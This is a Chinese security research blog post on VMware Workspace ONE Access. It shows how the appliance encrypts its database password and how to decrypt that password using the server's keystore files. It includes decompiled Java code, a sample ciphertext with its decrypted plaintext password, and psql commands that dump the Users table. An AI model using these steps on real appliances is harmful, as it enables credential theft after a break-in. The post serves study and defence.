【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

admin 2022年6月27日12:55:13评论60 views字数 10277阅读34分15秒阅读模式

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解
0x00 前言

在上篇文章《VMware Workspace ONE Access漏洞调试环境搭建》提到连接数据库的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中,本文将要基于调试环境,分析加密流程,介绍详细的解密方法。

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解
0x01 简介

本文将要介绍以下内容

  • 加密流程

  • 解密方法

  • 数据库操作

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解
0x02 加密流程

1.定位关键文件

经过一段时间的寻找,找到实现加密功能对应的文件为/opt/vmware/certproxy/lib/horizon-config-encrypter-0.15.jar

反编译获得加密的实现代码如下:

    public final String encrypt(byte[] data) {

        if (data != null && data.length != 0) {

            if (!this.getKeyMgmt().randomKeyEnabled() && !this.getKeyMgmt().customKeysAvailable()) {

                log.error("No custom encryption keys available, aborting encrypt.");

                return null;

            } else {

                Cipher encryptCipher = this.getEncryptCipher();

                try {

                    if (encryptCipher != null) {

                        byte[] utf8 = ArrayUtils.addAll(encryptCipher.getIV(), encryptCipher.doFinal(data));

                        ByteBuffer keyBuffer = ByteBuffer.allocate(2);

                        keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

                        utf8 = ArrayUtils.addAll(keyBuffer.array(), utf8);

                        utf8 = ArrayUtils.insert(0, utf8, new byte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

                        byte[] dec = Base64.encodeBase64(utf8);

                        return new String(dec, StandardCharsets.US_ASCII);

                    }

                } catch (IllegalBlockSizeException | IllegalStateException | BadPaddingException var6) {

                    log.error(var6.getMessage(), var6);

                }

                return null;

            }

        } else {

            return null;

        }

    }

2.动态调试

为了提高分析效率,采取动态调试的方法,流程如下:

(1)新建Java工程

下载VMware Workspace ONE Accessd服务器中/opt/vmware/certproxy/lib/下的所有jar文件并保存,在Java工程导入以上jar文件

新建package:com.vmware.horizon.common.utils.config

新建文件ConfigEncrypterImpl.java,内容如下:

package com.vmware.horizon.common.utils.config;

import com.google.common.annotations.VisibleForTesting;

import com.vmware.horizon.api.ConfigEncrypter;

import com.vmware.horizon.random.SecureRandomUtils;

import com.vmware.horizon.security.SecurityProviderHelper;

import java.nio.ByteBuffer;

import java.nio.charset.Charset;

import java.nio.charset.StandardCharsets;

import java.security.InvalidAlgorithmParameterException;

import java.security.InvalidKeyException;

import java.security.NoSuchAlgorithmException;

import java.security.SecureRandom;

import javax.annotation.Nonnull;

import javax.annotation.Nullable;

import javax.crypto.BadPaddingException;

import javax.crypto.Cipher;

import javax.crypto.IllegalBlockSizeException;

import javax.crypto.NoSuchPaddingException;

import javax.crypto.SecretKey;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import org.apache.commons.codec.binary.Base64;

import org.apache.commons.lang3.ArrayUtils;

import org.apache.commons.lang3.StringUtils;

import org.bouncycastle.crypto.fips.FipsUnapprovedOperationError;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

public class ConfigEncrypterImpl implements ConfigEncrypter {

    public static final Charset encodingCharset;

    private static final Logger log;

    private static final SecureRandom srand;

    private static ConfigEncrypterImpl staticKeyInstance;

    private static final ConfigEncrypterImpl randomKeyInstance;

    private static final Object keyInstanceLock;

    private ConfigEncrypterKeyMgmt keyMgmt;

    private static ConfigEncrypterImpl createRandomKeyInstance() {

        SecurityProviderHelper.initializeSecurityProvider();

        return new ConfigEncrypterImpl(false);

    }

    public static ConfigEncrypterImpl getInstance() {

        synchronized(keyInstanceLock) {

            if (staticKeyInstance == null) {

                staticKeyInstance = new ConfigEncrypterImpl(true);

            }

            return staticKeyInstance;

        }

    }

    public static ConfigEncrypterImpl getRandomKeyInstance() {

        return randomKeyInstance;

    }

    private ConfigEncrypterImpl(boolean useStaticKey) {

        if (useStaticKey && Boolean.parseBoolean(ConfigPropertiesUtil.getProperties().getProperty("components.configEncrypter.kms.enable"))) {

            log.info("Not initializing static config keystore. Using KMS for secure config properties");

            this.keyMgmt = null;

        } else {

            this.keyMgmt = new ConfigEncrypterKeyMgmt(useStaticKey);

        }

    }

    @VisibleForTesting

    ConfigEncrypterImpl(ConfigEncrypterKeyMgmt keyMgmt) {

        this.keyMgmt = keyMgmt;

    }

    @Nullable

    public final String decrypt(String data) {

        if (StringUtils.isBlank(data)) {

            return null;

        } else {

            byte[] encrypted = data.getBytes(encodingCharset);

            boolean b64;

            try {

                b64 = Base64.isBase64(encrypted);

            } catch (ArrayIndexOutOfBoundsException var11) {

                b64 = false;

            }

            if (b64) {

                encrypted = Base64.decodeBase64(encrypted);

            }

            if (ArrayUtils.isEmpty(encrypted)) {

                return null;

            } else {

                int cipherVersion = Math.abs(encrypted[0]);

                Cipher decryptCipher = null;

                if (cipherVersion >= this.getKeyMgmt().getMinCipherVersion() && cipherVersion  0) {

                            return new String(utf8, encodingCharset);

                        }

                        log.debug("zero length decryption");

                    } catch (BadPaddingException var7) {

                        log.debug("Failed to decrypt the given value (padding)");

                    } catch (IllegalBlockSizeException var8) {

                        log.debug("Failed to decrypt the given value (block size)");

                    } catch (ArrayIndexOutOfBoundsException var9) {

                        log.debug("Failed to decrypt the given value (mac verification)");

                    } catch (IllegalStateException var10) {

                        log.debug("Failed to decrypt the given value (illegal state)");

                    }

                }

                return null;

            }

        }

    }

    @Nullable

    public final String encrypt(@Nonnull String data) {

        return StringUtils.isBlank(data) ? null : this.encrypt(data.getBytes(encodingCharset));

    }

    @Nullable

    public final String encrypt(byte[] data) {

        if (data != null && data.length != 0) {

            if (!this.getKeyMgmt().randomKeyEnabled() && !this.getKeyMgmt().customKeysAvailable()) {

                log.error("No custom encryption keys available, aborting encrypt.");

                return null;

            } else {

                Cipher encryptCipher = this.getEncryptCipher();

                try {

                    if (encryptCipher != null) {

                        byte[] utf8 = ArrayUtils.addAll(encryptCipher.getIV(), encryptCipher.doFinal(data));

                        ByteBuffer keyBuffer = ByteBuffer.allocate(2);

                        keyBuffer.putShort(this.getKeyMgmt().getCurrentKey());

                        utf8 = ArrayUtils.addAll(keyBuffer.array(), utf8);

                        utf8 = ArrayUtils.insert(0, utf8, new byte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()});

                        byte[] dec = Base64.encodeBase64(utf8);

                        return new String(dec, StandardCharsets.US_ASCII);

                    }

                } catch (IllegalBlockSizeException | IllegalStateException | BadPaddingException var6) {

                    log.error(var6.getMessage(), var6);

                }

                return null;

            }

        } else {

            return null;

        }

    }

    @Nullable

    private Cipher getDecryptCipher(int cipherVersion, byte[] decryptionKey, byte[] iv) {

        Cipher decryptCipher = null;

        if (!ArrayUtils.isEmpty(iv)) {

            try {

                decryptCipher = Cipher.getInstance(this.getKeyMgmt().getCipher(cipherVersion), SecurityProviderHelper.getJceProvider());

                IvParameterSpec ivSpec = new IvParameterSpec(ArrayUtils.subarray(iv, 0, this.getKeyMgmt().getCipherNonceSize(cipherVersion, decryptCipher.getBlockSize())));

                SecretKey secret = new SecretKeySpec(decryptionKey, this.getKeyMgmt().getCipher(cipherVersion));

                decryptCipher.init(2, secret, ivSpec, srand);

            } catch (InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | NoSuchPaddingException | IllegalArgumentException | FipsUnapprovedOperationError var7) {

                log.error(var7.getMessage(), var7);

                decryptCipher = null;

            }

        }

        return decryptCipher;

    }

    @Nullable

    private Cipher getEncryptCipher() {

        Cipher encryptCipher = null;

        try {

            encryptCipher = Cipher.getInstance(this.getKeyMgmt().getCipher(), SecurityProviderHelper.getJceProvider());

            byte[] iv = new byte[this.getKeyMgmt().getCipherNonceSize(encryptCipher.getBlockSize())];

            srand.nextBytes(iv);

            SecretKey secret = new SecretKeySpec(this.getKeyMgmt().getKey(), this.getKeyMgmt().getCipher());

            IvParameterSpec ivSpec = new IvParameterSpec(iv);

            encryptCipher.init(1, secret, ivSpec, srand);

        } catch (InvalidAlgorithmParameterException | IllegalArgumentException | NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException | FipsUnapprovedOperationError var5) {

            log.error(var5.getMessage(), var5);

        }

        return encryptCipher;

    }

    @VisibleForTesting

    ConfigEncrypterKeyMgmt getKeyMgmt() {

        return this.keyMgmt;

    }

    @VisibleForTesting

    public void setCustomEncryptionKeystorePath(@Nonnull String path) {

        this.getKeyMgmt().setCustomEncryptionKeystorePath(path);

    }

    public final boolean generateNewEncryptionKey() {

        return this.getKeyMgmt().generateNewEncryptionKey();

    }

    public static void main(String[] values) {

        String value = "1234567890";

        ConfigEncrypterImpl encrypter = getInstance();

        System.out.println(encrypter.encrypt(value));

    }

    static {

        encodingCharset = StandardCharsets.ISO_8859_1;

        log = LoggerFactory.getLogger(ConfigEncrypterImpl.class);

        srand = SecureRandomUtils.getSecureRandomInstance();

        randomKeyInstance = createRandomKeyInstance();

        keyInstanceLock = new Object();

    }

}

(2)动态调试

IDEA设置好远程调试参数,开启远程调试,分析结果如下:

在初始化过程中,需要读取文件usrlocalhorizonconfruntime-config.properties,如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

加密过程需要读取密钥文件1usrlocalhorizonconfconfigkeystore.pass,如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

加密过程需要读取密钥文件2usrlocalhorizonconfconfigkeystore.bcfks,如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

(3)实现加密功能

在VMware Workspace ONE Accessd服务器下载以下文件:

usrlocalhorizonconfruntime-config.properties

usrlocalhorizonconfconfigkeystore.pass

usrlocalhorizonconfconfigkeystore.bcfks

保存至C:test

修改以下变量:

DEFAULT_PROPERTIES_FILE = "c:\test\runtime-config.properties";

CUSTOM_ENCRYPTION_KEYSTORE_PATH = "c:\test\";

实现加密功能,如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解
0x03 解密方法

1.获取连接数据库的加密口令

加密数据对应文件/usr/local/horizon/conf/runtime-config.properties中的secure.datastore.jdbc.password

我的测试环境内容为BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==,如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

2.数据解密

代码如下:

        String devalue = "BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==";

        System.out.println(encrypter.decrypt(devalue));

解密出明文口令KuxmsscstQhxnqeFBzawyyML-Dascx0i,如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

同/usr/local/horizon/conf/db.pwd中的内容一致,解密成功

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解
0x04 数据库操作

(1)查看所有数据库

psql -h localhost -U horizon -l

输入连接口令KuxmsscstQhxnqeFBzawyyML-Dascx0i

查询结果如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

存储数据的数据库为saas

(2)导出用户表信息

psql -h localhost -U horizon -c 'SELECT "strUsername" FROM "Users";' -d saas -W

输入连接口令KuxmsscstQhxnqeFBzawyyML-Dascx0i

这里需要注意,对于PostgreSql数据库,查询含有大写字母的字段必须加双引号,否则报错提示找不到表名

查询结果如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

以上操作的Golang语言实现代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Go/blob/master/WorkspaceONE_Query_PostgreSQL.go

导出口令信息,结果如下图

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解
0x05 小结

本文介绍了利用VMware Workspace ONE Access漏洞调试环境破解数据库加密口令的方法,记录技术细节。

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

原文始发于微信公众号(嘶吼专业版):【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日12:55:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术原创】VMware Workspace ONE Access调试分析——数据库口令的破解https://cn-sec.com/archives/1146699.html

发表评论

匿名网友 填写信息